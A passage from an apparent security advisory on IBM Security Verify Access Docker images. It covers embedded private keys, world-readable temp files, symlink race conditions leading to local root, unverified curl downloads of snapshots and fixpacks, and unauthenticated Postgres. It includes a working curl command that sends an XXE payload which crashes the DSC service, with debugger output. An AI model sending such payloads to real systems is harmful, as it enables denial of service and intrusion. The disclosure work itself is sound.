hMAtudXH/vTBH1jLuG2cenTnmCmrEbXjcKChzUyImZOMkXDiqw8cvpOp/2PV5Adg\n 06O/nVsJ8dWO41P0jmP6P6fbtGbfYmbW0W5BjfIttep3Sp+dWOIrWcBAI+0tKIJF\n PnlUkiaY4IBIqDfv8NZ5YBberOgOzW6sRBc4L0na4UU+Krk2U886UAb3LujEV0ls\n YSEY1QSteDwsOoBrp+uvFRTp2InBuThs4pFsiv9kuXclVzDAGySj4dzp30d8tbQk\n CAUw7C29C79Fv1C5qfPrmAESrciIxpg0X40KPMbp1ZWVbd4=\n -----END CERTIFICATE-----\n Certificate bag\n Bag Attributes\n friendlyName: CN=DigiCert ECC Secure Server CA,O=DigiCert Inc,C=US\n [...]\n\nWhen auditing live installations, the decrypted `lmi_trust_store.p12` file will contain the private key of the isam CA. \n\n kali% openssl x509 -in crt.pem -text -noout -modulus\n Certificate:\n Data:\n Version: 3 (0x2)\n Serial Number: 14004578023842938\n Signature Algorithm: sha256WithRSAEncryption\n Issuer: C = us, O = ibm, CN = isam\n Validity\n Not Before: Sep 19 07:01:51 2022 GMT\n Not After : Sep 17 07:01:51 2032 GMT\n Subject: C = us, O = ibm, CN = isam\n [...]\n Modulus=C8B3[REDACTED]\n \n kali% openssl rsa -in crt.key -modulus \n Enter pass phrase for crt.key:\n Modulus=C8B3[REDACTED]\n writing RSA key\n -----BEGIN PRIVATE KEY-----\n [REDACTED]\n -----END PRIVATE KEY-----\n\nIt is also possible to decrypt the `embedded_ldap_keys.p12` file:\n\n kali-docker# openssl pkcs12 -in embedded_ldap_keys.p12 -info -passin pass:passwordpassword \n MAC: sha1, Iteration 1024 \n MAC length: 20, salt length: 8\n PKCS7 Data\n Shrouded Keybag: pbeWithSHA1And3-KeyTripleDES-CBC, Iteration 5\n Bag Attributes\n friendlyName: server\n localKeyID: [REDACTED]\n Key Attributes: \u003cNo Attributes\u003e\n Enter PEM pass phrase: [password]\n Verifying - Enter PEM pass phrase: [password]\n -----BEGIN ENCRYPTED PRIVATE KEY-----\n [REDACTED]\n -----END ENCRYPTED PRIVATE KEY-----\n PKCS7 Encrypted data: pbeWithSHA1And3-KeyTripleDES-CBC, Iteration 1024\n Certificate bag\n Bag Attributes\n friendlyName: server\n localKeyID: [REDACTED]\n subject=C = us, O = ibm, CN = isam\n issuer=C = us, O = ibm, CN = isam\n -----BEGIN CERTIFICATE-----\n [REDACTED]\n -----END CERTIFICATE-----\n kali-docker#\n\nUsing a dynamic analysis, it was confirmed that several private keys are included in the snapshot images and used at least by OpenLDAP. The .p12 files can be decrypted using `IBM Crypto For C` and OpenSSL. \n\n kali-docker# pwd \n /home/user/snapshots/_a22547c15c88-verify-access-runtime_10.0.4.0.tar-default.snapshot/var/pdweb/shared/keytab\n kali-docker# ls -la\n total 492\n drwxr-x--- 2 root root 4096 Oct 18 05:13 . \n drwxr-x--- 16 root root 4096 Sep 20 03:01 .. \n -rw-r----- 1 root root 2952 Sep 20 03:01 embedded_ldap_keys.p12\n -rw-r----- 1 root root 193 Jun 8 01:31 embedded_ldap_keys.sth\n -rw-r----- 1 root root 47630 Sep 20 03:09 lmi_trust_store.p12\n -rw-r----- 1 root root 193 Jun 8 01:31 lmi_trust_store.sth\n -rw-r----- 1 root root 109313 Sep 20 03:17 rt_profile_keys.p12\n -rw-r----- 1 root root 193 Jun 8 01:31 rt_profile_keys.sth\n [...]\n\n\n\n## Details - Incorrect permissions in verify-access-dsc (race condition and leak of private key)\n\nIt was observed that the Docker image verify-access-dsc uses insecure temporary files to store sensitive information. \n\nThe `/usr/sbin/bootstrap.sh` script will generate temporary files using the default umask (`022`). \n\nIn the `build_health_check_config()` function found inside the `/usr/sbin/bootstrap.sh` script (executed when the instance starts), we can see that several files are generated:\n\n- - /tmp/health_check.p12\n- - /var/dsc/.health/port.txt\n\nContent of `/usr/sbin/bootstrap.sh`:\n\n[code:shell]\n 65 #############################################################################\n 66 # Construct the health check configuration information. This will include\n 67 # the port and client certificate information. \n 68 \n 69 build_health_check_config()\n 70 {\n 71 if [ -z \"$INSTANCE\" ] ; then\n 72 INSTANCE=1\n 73 fi\n 74 \n 75 conf=/var/dsc/etc/dsc.conf.${INSTANCE}\n 76 \n 77 if [ ! -f ${conf} ] ; then\n 78 Echo 973 \"${INSTANCE}\"\n 79 exit 1\n 80 fi\n 81 \n 82 #\n 83 # Determine the port which is to be used. \n 84 #\n 85 \n 86 port=`/opt/PolicyDirector/sbin/pdconf -f $conf getentry \\\n 87 dsess-server ssl-listen-port`\n 88 \n 89 mkdir -p /var/dsc/.health\n 90 \n 91 echo $port \u003e /var/dsc/.health/port.txt\n 92 \n 93 #\n 94 # Extract the client certificate which is used to communicate with the\n 95 # server. \n 96 #\n 97 \n 98 cert_file=/var/dsc/.health/health_check.pem\n 99 \n100 tmp_p12=/tmp/health_check.p12\n101 tmp_pwd=health_check\n102 \n103 # Work out the name of the key file which is being used. \n104 key_file=`/opt/PolicyDirector/sbin/pdconf -f $conf getentry \\\n105 dsess-server ssl-keyfile`\n106 \n107 # Export the key into a key database type which is supported\n108 # by OpenSSL. \n109 gsk8capicmd_64 -cert -export -db $key_file -stashed \\\n110 -target $tmp_p12 -target_pw $tmp_pwd\n111 \n112 # Convert the key into something that curl understands. \n113 openssl pkcs12 -in $tmp_p12 -out $cert_file -nodes \\\n114 -passin pass:$tmp_pwd 2\u003e/dev/null\n115 \n116 # Tidy up. \n117 rm -f $tmp_p12\n118 }\n119\n[...]\n176 #\n177 # Extract the health check information. \n178 #\n179 \n180 build_health_check_config\n[/code]\n\nThe temporary file `/tmp/health_check.p12` contains the private keys of the dsc server and the dsc client. This key file is stored using the `644` permissions allowing any local attacker to extract these keys when the Docker image starts. \n\nFurthermore, the password of the certificate file is hardcoded (to `health_check`, on line 101). \n\nWhen checking the files generated by this script, we can confirm the files are world-readable. For example, for the `/var/dsc/.health/port.txt` file, the permissions are 644:\n\n [isam@verify-access-dsc /]$ ls -la /var/dsc/.health/\n total 28\n drwxr-xr-x 2 isam isam 4096 Oct 4 09:07 . \n drwxrwx--- 1 isam root 4096 Oct 4 09:07 .. \n -rw------- 1 isam isam 9268 Oct 4 09:07 health_check.pem\n -rw-r--r-- 1 isam isam 5 Oct 4 09:07 port.txt\n [isam@verify-access-dsc /]$\n\n\nThere is a race condition in the `/usr/sbin/bootstrap.sh` script allowing a local attacker with access to the verify-access-dsc instance to extract the private keys of the dsc server and the dsc client when the Docker image starts. \n\nThe filename is predictable, allowing a local attacker to create the destination file before the script is executed. The content of the destination file will be overwritten by the `/usr/sbin/health_check.sh` script but the ownership of the file will still belong to an attacker, allowing extracting the private keys. \n\nThe password is hardcoded. \n\nInsecure permissions are used for sensitive files. \n\n\n\n## Details - Insecure health_check.sh script in verify-access (race condition and leak of private key)\n\nIt was observed that the Docker image verify-access runs regularly the script `/usr/sbin/health_check.sh`. \n\nThis script uses a temporary file to store sensitive information. Since this script uses the default umask (`022`), an attacker can exploit a race condition (between the lines 91 and 95) to extract the private keys of the dsc server and the dsc clients. \n\nThe `/tmp/health_check.pem` output file will also be created containing the private keys in clear-text (in line 91), allowing an attacker to extract these private keys:\n\nContent of `/usr/sbin/health_check.sh`:\n\n[code:shell]\n[...]\n65 cert_file=/tmp/health_check.pem\n66 \n67 trap \"rm -f $result_file $error_file $hdr_file\" EXIT\n68 \n69 # The following function will extract a key which can be used to authenticate\n70 # to the DSC. \n71 \n72 extract_dsc_key()\n73 {\n74 if [ ! -f $cert_file ] ; then\n75 tmp_p12=/tmp/health_check.p12.$$\n76 tmp_pwd=health_check\n77 \n78 # Work out the name of the DSC configuration file. \n79 conf_file=`mesa_config wga.ftype dir dsc.conf -production`\n80 \n81 # Work out the name of the key file which is being used. \n82 key_file=`/opt/PolicyDirector/sbin/pdconf -f $conf_file getentry \\\n83 dsess-server ssl-keyfile`\n84 \n85 # Export the key into a key database type which is supported\n86 # by OpenSSL. \n87 gsk8capicmd_64 -cert -export -db $key_file -stashed \\\n88 -target $tmp_p12 -target_pw $tmp_pwd\n89 \n90 # Convert the key into something that curl understands. \n91 openssl pkcs12 -in $tmp_p12 -out $cert_file -nodes \\\n92 -passin pass:$tmp_pwd 2\u003e/dev/null\n93 \n94 # Tidy up. \n95 rm -f $tmp_p12\n96 fi\n97 }\n[...]\n[/code]\n\nThe file `/tmp/health_check.p12.$$` (`$$` corresponding to the local PID) will be generated with the password `health_check` and will contain the private keys of the dsc client and the dsc server. This file will be world-readable. Then the file will be erased. \n\nThere is a race condition in the `/usr/sbin/health_check.sh` script allowing a local attacker with access to the verify-access instance to extract the private keys of the dsc server and the dsc client. \n\nThe filename is predictable, allowing a local attacker to create potential destination files before the execution of the script. The content of the destination file will be overwritten by the `/usr/sbin/health_check.sh` script but the ownership of the file will still belong to an attacker, allowing extracting the private keys. \n\nThere is also a leak of private keys in the world-readable file `/tmp/health_check.pem`. \n\nThe password is hardcoded. \n\nInsecure permissions are used for sensitive files. \n\n\n\n## Details - Local Privilege Escalation due to insecure health_check.sh script in verify-access (insecure SSL, insecure files)\n\nIt was observed that the Docker image verify-access regularly runs the script `/usr/sbin/health_check.sh`. \n\nThis script uses curl, without checking the remote SSL certificate:\n\nContent of `/usr/sbin/health_check.sh`:\n\n[code:shell]\n190 #\n191 # Make the curl request. \n192 #\n193 \n194 eval curl --insecure --output $result_file --silent --show-error \\\n195 -D $hdr_file $extra_args https://127.0.0.1:$port 2\u003e $error_file\n196\n[/code]\n\nThe eval instruction does not seem exploitable. \n\nThis script uses 2 temporary files to store the standard output (stdout) and the error output (stderr) of the curl command: an attacker can exploit these 2 temporary files to overwrite any file in the filesystem using pre-generated symbolic links inside `/tmp`:\n\nContent of `/usr/sbin/health_check.sh`:\n\n[code:shell]\n 62 result_file=/tmp/health_check.out.$$\n 63 error_file=/tmp/health_check.err.$$\n[...]\n194 eval curl --insecure --output $result_file --silent --show-error \\\n195 -D $hdr_file $extra_args https://127.0.0.1:$port 2\u003e $error_file\n[/code]\n\n\nThe `/tmp/health_check.out.$$` file (`$$` corresponding to the local PID) can be a symbolic link generated by a local attacker - the content of the linked file will be overwritten as root. \n\nThe `/tmp/health_check.err.$$` file (`$$` corresponding to the local PID) can be a symbolic link generated by a local attacker - the content of the linked file will be overwritten as root. \n\nThe script trusts any insecure HTTPS server, due to the use of the `--insecure` flag in curl. \n\nThere are two uses of insecure files in the `/usr/sbin/health_check.sh` script allowing a local attacker with access to the verify-access instance to overwrite any file as root - it is possible to get a Local Privilege Escalation as root. \n\nThe filenames are predictable, allowing a local attacker to create potential destination files before the execution of the script. The content of the destination files will be overwritten by the `/usr/sbin/health_check.sh` script. \n\n\n\n## Details - Local Privilege Escalation due to insecure health_check.sh script in verify-access-dsc (insecure SSL, insecure file)\n\nIt was observed that the Docker image verify-access-sc runs regularly the script `/usr/sbin/health_check.sh`. \n\nThis script uses a temporary file to store errors: an attacker can exploit a race condition to overwrite any file in the filesystem using a pre-generated symbolic link. \n\nFurthermore, the script uses insecure options for curl on line 73 (`--insecure`) - the SSL certificate of the remote host will not be validated:\n\nContent of `/usr/sbin/health_check.sh`:\n\n[code:shell]\n62 #\n63 # Test access to the server as this will govern whether we are healthy or\n64 # not. \n65 #\n66 \n67 error_file=/tmp/health_check.err.$$\n68 \n69 trap \"rm -f $error_file\" EXIT\n70 \n71 ping_body=\u0027\u003c?xml version=\"1.0\" encoding=\"utf-8\" ?\u003e\u003cSOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:xsi=\"http://www.w3.org/2001/X MLSchema-instance\"\u003e\u003cSOAP-ENV:Body\u003e\u003cns1:ping xmlns:ns1=\"http://sms.am.tivoli.com\"\u003e\u003cns1:something\u003e0\u003c/ns1:something\u003e\u003c/ns1:ping\u003e\u003c/SOAP-ENV:Body\u003e\u003c/SOAP-ENV:Envelope\u003e\u0027\n72 \n73 curl -s -o /dev/null --show-error --insecure --cert $cert_file -X POST \\\n74 -H \u0027SOAPAction: \"ping\"\u0027 \\\n75 --data \"$ping_body\" \\\n76 https://127.0.0.1:$port 2\u003e $error_file\n77 \n78 if [ $? -ne 0 ] ; then\n79 #\n80 # We don\u0027t know for sure yet whether the DSC is alive or not because it\n81 # could be passive (only a single DSC is active in an environment at any\n82 # one time). So, we also need to try a simple SSL connection before we\n83 # return that the server is actually unhealthy. We could have simply\n84 # avoided the initial curl call, but by only performing the SSL connection\n85 # test when the DSC is passive we avoid SSL error messages being displayed\n86 # on the console. \n87 #\n88 \n89 openssl s_client -connect 127.0.0.1:$port 2\u003e\u00261 | grep -q CONNECTED\n90 \n91 if [ $? -eq 0 ] ; then\n92 exit 0\n93 fi\n94 \n95 echo \"Error\u003e failed to connect to the service.\"\n96 \n97 cat $error_file; rm -f $cert_file\n[/code]\n\nThe `/tmp/health_check.err.$$` file (`$$` corresponding to the local PID) can be a symbolic link that will be followed in the line 76. This allows an attacker to overwrite any file on the system because curl is executed as root. \n\nThere is a race condition in the `/usr/sbin/health_check.sh` script allowing a local attacker to overwrite any file as root on the instance - it is possible to get a Local Privilege Escalation as root. \n\nThe filename is predictable, allowing a local attacker to create potential destination files. The content of the destination file will be overwritten by the stderr file descriptor of the curl command. \n\n\n\n## Details - Remote Code Execution due to insecure download of snapshot in verify-access-dsc, verify-access-runtime and verify-access-wrp\n\nIt was observed that the Docker images verify-access-dsc ,verify-access-runtime and verify-access-wrp are able to download the snapshot file over HTTPS without checking the SSL certificate of the remote server, allowing an attacker to MITM the connection and retrieve the snapshot file or to provide a malicious snapshot file to the system. \n\nThe `/usr/sbin/.bootstrap_common.sh` script is executed from the `/usr/sbin/bootstrap.sh` script when the instance starts:\n\nContent of `/usr/sbin/bootstrap.sh` in verify-access-dsc\n\n[code:shell]\n139 #\n140 # Wait for the snapshot file. \n141 #\n142 \n143 wait_for_snapshot\n[/code]\n\nIn verify-access-runtime, the function `wait_for_snapshot()` is called on line 93 inside the `/usr/sbin/bootstrap.sh` script. \n\nThe function `wait_for_snapshot()` calls the function `download_from_cfgsvc()` (line 251):\n\nContent of `/usr/sbin/.bootstrap_common.sh` in verify-access-dsc, verify-access-runtime and verify-access-wrp:\n\n[code:shell]\n240 #############################################################################\n241 # Wait for the snapshot file. \n242 \n243 wait_for_snapshot()\n244 {\n245 download_from_cfgsvc 1\n246 \n247 if [ ! -f $snapshot ] ; then\n248 Echo 969\n249 \n250 while [ ! -f $snapshot ] ; do\n251 download_from_cfgsvc 0\n252 \n253 if [ ! -f $snapshot ] ; then\n254 sleep 1\n255 fi\n256 done\n257 \n258 Echo 970\n259 fi\n260 }\n[/code]\n\nAnd the function `download_from_cfgsvc()` uses curl to download a snapshot, without checking the SSL certificate of the remote server. The `-k` option (also known as `--insecure`) disables any SSL verification (line 154):\n\nContent `/usr/sbin/.bootstrap_common.sh` in verify-access-dsc, verify-access-runtime and verify-access-wrp:\n\n[code:shell]\n140 download_from_cfgsvc()\n141 {\n142 # No need to download the snapshot if the configuration service has not\n143 # been defined. \n144 if [ -z \"$CONFIG_SERVICE_URL\" ] ; then\n145 return\n146 fi\n147 \n148 if [ $1 -eq 1 ] ; then\n149 Echo 960\n150 fi\n151 \n152 snapshotUri=\"`basename $snapshot`?type=File\u0026client=`cat /etc/hostname`\"\n153 \n154 curl -k -s --fail -u \"$CONFIG_SERVICE_USER_NAME:$CONFIG_SERVICE_USER_PWD\" \\\n155 \"$CONFIG_SERVICE_URL/snapshots/$snapshotUri\" \\\n156 -o $snapshot\n157 \n158 if [ $? -ne 0 ] ; then\n159 if [ $1 -eq 1 ] ; then\n160 Echo 961\n161 fi\n162 \n163 rm -f $snapshot\n164 else\n165 Echo 962\n166 fi\n167 }\n[/code]\n\n- From the curl(1) man page:\n\n -k, --insecure\n (TLS) By default, every SSL connection curl makes is verified to\n be secure. This option allows curl to proceed and operate even\n for server connections otherwise considered insecure. \n \n The server connection is verified by making sure the server\u0027s\n certificate contains the right name and verifies successfully\n using the cert store. \n \n See this online resource for further details:\n https://curl.haxx.se/docs/sslcerts.html\n \n See also --proxy-insecure and --cacert. \n\nThe same issue exists with the function `download_fixpacks()` in the same shell script (line 201):\n\nContent of `/usr/sbin/.bootstrap_common.sh` in verify-access-dsc, verify-access-runtime and verify-access-wrp:\n\n[code:shell]\n169 #############################################################################\n170 # Attempt to download any requested fixpacks from the configuration service. \n171 \n172 download_fixpacks()\n173 {\n174 # No need to download the fixpacks if the configuration service has not\n175 # been defined. \n176 if [ -z \"$CONFIG_SERVICE_URL\" ] ; then\n177 return\n178 fi\n179 \n180 # No need to download the fixpacks if no fixpack has been specified, or\n181 # if the fixpack has been set to \u0027disabled\u0027. \n182 if [ -z \"${FIXPACKS}\" -o \"${FIXPACKS}\" = \"disabled\" ]; then\n183 return\n184 fi\n185 \n186 # Set the fixpack directory, and then ensure that the fixpack directory\n187 # has been created. \n188 fixpack_dir=/tmp/fixpacks\n189 \n190 if [ -d $fixpack_dir ] ; then\n191 rm -rf $fixpack_dir/*\n192 else\n193 mkdir -p $fixpack_dir\n194 fi\n195 \n196 # If we get this far we know that one or more fixpacks have been specified. \n197 # We need to download each of these now. \n198 for fixpack in $FIXPACKS; do\n199 fixpackUri=\"$fixpack?type=File\u0026client=`cat /etc/hostname`\"\n200 \n201 curl -k -s --fail \\\n202 -u \"$CONFIG_SERVICE_USER_NAME:$CONFIG_SERVICE_USER_PWD\" \\\n203 \"$CONFIG_SERVICE_URL/fixpacks/$fixpackUri\" \\\n204 -o $fixpack_dir/$fixpack\n[/code]\n\nThe fixpacks will be then installed as root inside the image:\n\nContent of `/usr/sbin/.bootstrap_common.sh` in verify-access-dsc, verify-access-runtime and verify-access-wrp:\n\n[code:shell]\n231 for fixpack in $FIXPACKS; do\n232 Echo 967 \"${fixpack}\"\n233 /usr/sbin/isva_install_fixpack -i ${fixpack_dir}/${fixpack} \u003e/dev/null\n234 if [ $? -ne 0 ]; then\n235 Echo 968 \"${fixpack}\"\n236 fi\n[/code]\n\nAn attacker located on the network can inject a malicious snapshot file into the platform or MITM the connection to a server containing the snapshot image and take control over the entire platform. \n\n\n\n## Details - Lack of authentication in Postgres inside verify-access-runtime\n\nIt was observed that the Docker image verify-access-runtime configures Postgres without authentication. \n\nThe `/usr/sbin/bootstrap.sh` script configures and starts the postgres daemon. We can see the lack of authentication:\n\n[code:shell]\n135 #\n136 # Start the postgresql server. \n137 #\n138 \n139 Echo 974\n140 \n141 db_root=/var/postgresql/config\n142 db_data_root=$db_root/data\n143 db_snapshot=$db_root/snapshot.sql\n144 db_log_dir=/var/application.logs/db/config\n145 db_port=5432\n146 db_name=config\n147 db_user=www-data\n148 \n149 if [ ! -f $db_snapshot ] ; then\n150 Echo 975\n151 exit 1\n152 fi\n153 \n154 mkdir -p $db_log_dir\n155 \n156 rm -rf $db_data_root\n157 \n158 initdb -D $db_data_root --locale=C -U $db_user -A trust \u003e /dev/null\n159 \n160 pg_ctl -s -D $db_data_root -l $db_log_dir/logfile start\n161 \n162 createdb -U $db_user -p $db_port -w $db_name \u003e /dev/null\n163 \n164 psql -U $db_user -p $db_port -f $db_snapshot -w -q $db_name \u003e /dev/null\n165\n[/code]\n\nA local attacker can compromise the postgres database. \n\n\n\n## Details - Null pointer dereference in dscd - Remote DoS against DSC instances\n\nIt was observed that the DSC (Distributed Session Cache) servers can be remotely crashed, resulting in a DoS of the authentication infrastructure. \n\nThe DSC servers are reachable using the `/DSess/services/DSess` API running on port 8443/tcp. \n\nUsing an SSL client certificate, it is possible to reach the remote DSC instances from the same network segment:\n\n [user@container-01 ~]$ curl -kv https://dsc-02.test.lan:8443\n * Rebuilt URL to: https://dsc-02.test.lan:8443/\n * Trying 10.0.0.16... \n * TCP_NODELAY set\n * Connected to dsc-02.test.lan (10.0.0.16) port 8443 (#0)\n * ALPN, offering h2\n * ALPN, offering http/1.1\n * successfully set certificate verify locations:\n * CAfile: /etc/pki/tls/certs/ca-bundle.crt\n CApath: none\n * TLSv1.3 (OUT), TLS handshake, Client hello (1):\n * TLSv1.3 (IN), TLS handshake, Server hello (2):\n * TLSv1.2 (IN), TLS handshake, Certificate (11):\n * TLSv1.2 (IN), TLS handshake, Request CERT (13):\n * TLSv1.2 (IN), TLS handshake, Server finished (14):\n * TLSv1.2 (OUT), TLS handshake, Certificate (11):\n * TLSv1.2 (OUT), TLS handshake, Client key exchange (16):\n * TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):\n * TLSv1.2 (OUT), TLS handshake, Finished (20):\n * TLSv1.2 (IN), TLS alert, handshake failure (552):\n * error:14094410:SSL routines:ssl3_read_bytes:sslv3 alert handshake failure\n * Closing connection 0\n curl: (35) error:14094410:SSL routines:ssl3_read_bytes:sslv3 alert handshake failure\n\nWith a client certificate, we can reach the `/DSess/services/DSess` API:\n\nSending a normal request (ping):\n\n kali% curl --key dsc-client.key --cert dsc-client.pem --show-error --insecure https://dsc.test.lan:8443/DSess/services/DSess -X POST -H \u0027SOAPAction: \"ping\"\u0027 --data \u0027\u003c?xml version=\"1.0\" encoding=\"utf-8\" ?\u003e\u003cSOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\u003e\u003cSOAP-ENV:Body\u003e\u003cns1:ping xmlns:ns1=\"http://sms.am.tivoli.com\"\u003e\u003cns1:something\u003e0\u003c/ns1:something\u003e\u003c/ns1:ping\u003e\u003c/SOAP-ENV:Body\u003e\u003c/SOAP-ENV:Envelope\u003e\u0027\n \u003c?xml version=\u00271.0\u0027 encoding=\u0027utf-8\u0027 ?\u003e\n \u003cSOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\u003e\n \u003cSOAP-ENV:Body\u003e\n \u003cns1:pingResponse xmlns:ns1=\"http://sms.am.tivoli.com\"\u003e\n \u003cns1:pingReturn\u003e952467756\u003c/ns1:pingReturn\u003e\n \u003c/ns1:pingResponse\u003e\n \u003c/SOAP-ENV:Body\u003e\n \u003c/SOAP-ENV:Envelope\u003e\n\nWe can also send a specific XML External Entity (XXE) that will crash the remote DSC instance:\n\n kali% curl --key dsc-client.key --cert dsc-client.pem --show-error --insecure https://dsc-02.test.lan:8443/DSess/services/DSess -X POST -H \u0027SOAPAction: \"ping\"\u0027 --data \u0027\u003c?xml version=\"1.0\" encoding=\"utf-8\" ?\u003e\u003c!DOCTYPE foo [ \u003c!ELEMENT foo ANY \u003e \u003c!ENTITY xxe SYSTEM \"file:///dev/random\"\u003e]\u003e\u003cSOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\u003e\u003cSOAP-ENV:Body\u003e\u003cns1:ping xmlns:ns1=\"http://sms.am.tivoli.com\"\u003e\u003cns1:something\u003e\u0026xxe;\u003c/ns1:something\u003e\u003c/ns1:ping\u003e\u003c/SOAP-ENV:Body\u003e\u003c/SOAP-ENV:Envelope\u003e\u0027\n curl: (52) Empty reply from server\n\n\nWhen debugging this issue, it appears there is a null pointer dereference in the method `DSessWrapper::ping(void*) ()` defined in `/lib64/libamdsc_interface.so` library:\n\n [root@container-02]# ps -auxww | grep dscd\n 6000 2093037 3.4 0.5 427936 40884 ? Ssl 20:07 0:00 /opt/dsc/bin/dscd -c /var/dsc/etc/dsc.conf.1 -f -j\n root 2093269 0.0 0.0 12140 1092 pts/0 S+ 20:07 0:00 grep --color=auto dscd\n [root@container-02]# gdb -p 2093037\n [...]\n (gdb) c\n Continuing. \n [----------------------------------registers-----------------------------------]\n RAX: 0x0 \n RBX: 0x7fec38006110 --\u003e 0x7fecaf4df160 --\u003e 0x7fecaf280e20 --\u003e 0x4100261081058b48 \n RCX: 0x7fec38000b60 --\u003e 0x1000100030005 \n RDX: 0x7fec38025900 --\u003e 0x7fec38021c90 --\u003e 0x7fec38026230 --\u003e 0x7fec38025dc0 --\u003e 0x0 \n RSI: 0x4 \n RDI: 0x0 \n RBP: 0x7fec2804f7c0 --\u003e 0x7fecb0297548 --\u003e 0x7fecb0079560 --\u003e 0x480021e921058b48 \n RSP: 0x7feca642fc10 --\u003e 0x1d2e480 --\u003e 0x7fecaf4dfbf8 --\u003e 0x7fecaf292870 --\u003e 0x410024f509058b48 \n RIP: 0x7fecb007a595 --\u003e 0x48ffffca04e8188b \n R8 : 0x7fec38000b74 --\u003e 0x3000600060005 \n R9 : 0x4 \n R10: 0x2f (\u0027/\u0027)\n R11: 0x7fecaabb2674 --\u003e 0x29058b48fb894853 \n R12: 0xffffffff \n R13: 0x7feca642fca0 --\u003e 0x7fec380312f0 (\"/DSess/services/DSess\")\n R14: 0x7feca642fce0 --\u003e 0x7feca642fcf0 --\u003e 0x7f00676e6970 \n R15: 0x0\n EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)\n [-------------------------------------code-------------------------------------]\n 0x7fecb007a58a \u003c_ZN12DSessWrapper4pingEPv+154\u003e: call QWORD PTR [rax+0x38]\n 0x7fecb007a58d \u003c_ZN12DSessWrapper4pingEPv+157\u003e: mov esi,0x4\n 0x7fecb007a592 \u003c_ZN12DSessWrapper4pingEPv+162\u003e: mov rdi,rax\n =\u003e 0x7fecb007a595 \u003c_ZN12DSessWrapper4pingEPv+165\u003e: mov ebx,DWORD PTR [rax]\n 0x7fecb007a597 \u003c_ZN12DSessWrapper4pingEPv+167\u003e: call 0x7fecb0076fa0 \u003c_ZdlPvm@plt\u003e\n 0x7fecb007a59c \u003c_ZN12DSessWrapper4pingEPv+172\u003e: mov rdi,QWORD PTR [rsp+0x18]\n 0x7fecb007a5a1 \u003c_ZN12DSessWrapper4pingEPv+177\u003e: mov rax,QWORD PTR [rdi]\n 0x7fecb007a5a4 \u003c_ZN12DSessWrapper4pingEPv+180\u003e: call QWORD PTR [rax+0x2f0]\n [------------------------------------stack-------------------------------------]\n 0000| 0x7feca642fc10 --\u003e 0x1d2e480 --\u003e 0x7fecaf4dfbf8 --\u003e 0x7fecaf292870 --\u003e 0x410024f509058b48 \n 0008| 0x7feca642fc18 --\u003e 0x7fecaf292d8e --\u003e 0xda89481d74c08548 \n 0016| 0x7feca642fc20 --\u003e 0x7fec28040830 --\u003e 0x7fecaf4e00a0 --\u003e 0x7fecaf29b5a0 --\u003e 0x4100246a21058b48 \n 0024| 0x7feca642fc28 --\u003e 0x1e3f6e0 --\u003e 0x7fecaf4e1120 --\u003e 0x7fecaf2b2450 --\u003e 0x530022f9a9058b48 \n 0032| 0x7feca642fc30 --\u003e 0x7feca642fc80 --\u003e 0x7feca642fc90 --\u003e 0x7fec30071c00 --\u003e 0x50 (\u0027P\u0027)\n 0040| 0x7feca642fc38 --\u003e 0x7fec3800e720 --\u003e 0x7fecaf4dece8 --\u003e 0x7fecaf27a770 --\u003e 0x4800267369058b48 \n 0048| 0x7feca642fc40 --\u003e 0x7fec38006110 --\u003e 0x7fecaf4df160 --\u003e 0x7fecaf280e20 --\u003e 0x4100261081058b48 \n 0056| 0x7feca642fc48 --\u003e 0x7fecaf27a8a1 --\u003e 0xf2e668debc48941 \n [------------------------------------------------------------------------------]\n Legend: code, data, rodata, value\n Stopped reason: SIGSEGV\n 0x00007fecb007a595 in DSessWrapper::ping(void*) () from target:/lib64/libamdsc_interface.so\n gdb-peda$ bt\n #0 0x00007fecb007a595 in DSessWrapper::ping(void*) () from target:/lib64/libamdsc_interface.so\n #1 0x00007fecaf27a8a1 in tivsec_axiscpp::ServerAxisEngine::invoke(tivsec_axiscpp::MessageData*) () from target:/lib64/libtivsec_axis_server.so\n #2 0x00007fecaf27b0d2 in tivsec_axiscpp::ServerAxisEngine::process(tivsec_axiscpp::SOAPTransport*) () from target:/lib64/libtivsec_axis_server.so\n #3 0x00007fecaf297156 in process_request(tivsec_axiscpp::SOAPTransport*) () from target:/lib64/libtivsec_axis_server.so\n #4 0x00007fecb02a3293 in AMWSMSServiceClient::processRequest(AMWSMSService::WorkerRequest\u0026, bool) () from target:/lib64/libamdsc_server.so\n #5 0x00007fecb02a3ff8 in AMWSMSService::workerThreadRun() () from target:/lib64/libamdsc_server.so\n #6 0x00007fecb02a4089 in start_worker_thread () from target:/lib64/libamdsc_server.so\n #7 0x00007fecaec801ca in start_thread () from target:/lib64/libpthread.so.0\n #8 0x00007fecae6d3d83 in clone () from target:/lib64/libc.so.6\n\nI can also confirm the null pointer dereference in the `dmesg` output of the `container-02` test server:\n\n [899328.145854] dscd[2106406]: segfault at 0 ip 00007f18e53ff595 sp 00007f18db93ac10 error 4 in libamdsc_interface.so[7f18e53ec000+30000]\n [899485.595069] dscd[2107491]: segfault at 0 ip 00007f25a6041595 sp 00007f259c9cdc10 error 4 in libamdsc_interface.so[7f25a602e000+30000]\n [899575.542524] dscd[2109718]: segfault at 0 ip 00007f331fde5595 sp 00007f3316938c10 error 4 in libamdsc_interface.so[7f331fdd2000+30000]\n [899614.404309] dscd[2111181]: segfault at 0 ip 00007fec9cad4595 sp 00007fec9d29dc10 error 4 in libamdsc_interface.so[7fec9cac1000+30000]\n [899761.869511] dscd[2112040]: segfault at 0 ip 00007f86cf8a0595 sp 00007f86c5edfc10 error 4 in libamdsc_interface.so[7f86cf88d000+30000]\n\nI can confirm the verify-access-dsc instance crashes on container-02 as shown below. \n\nBefore the 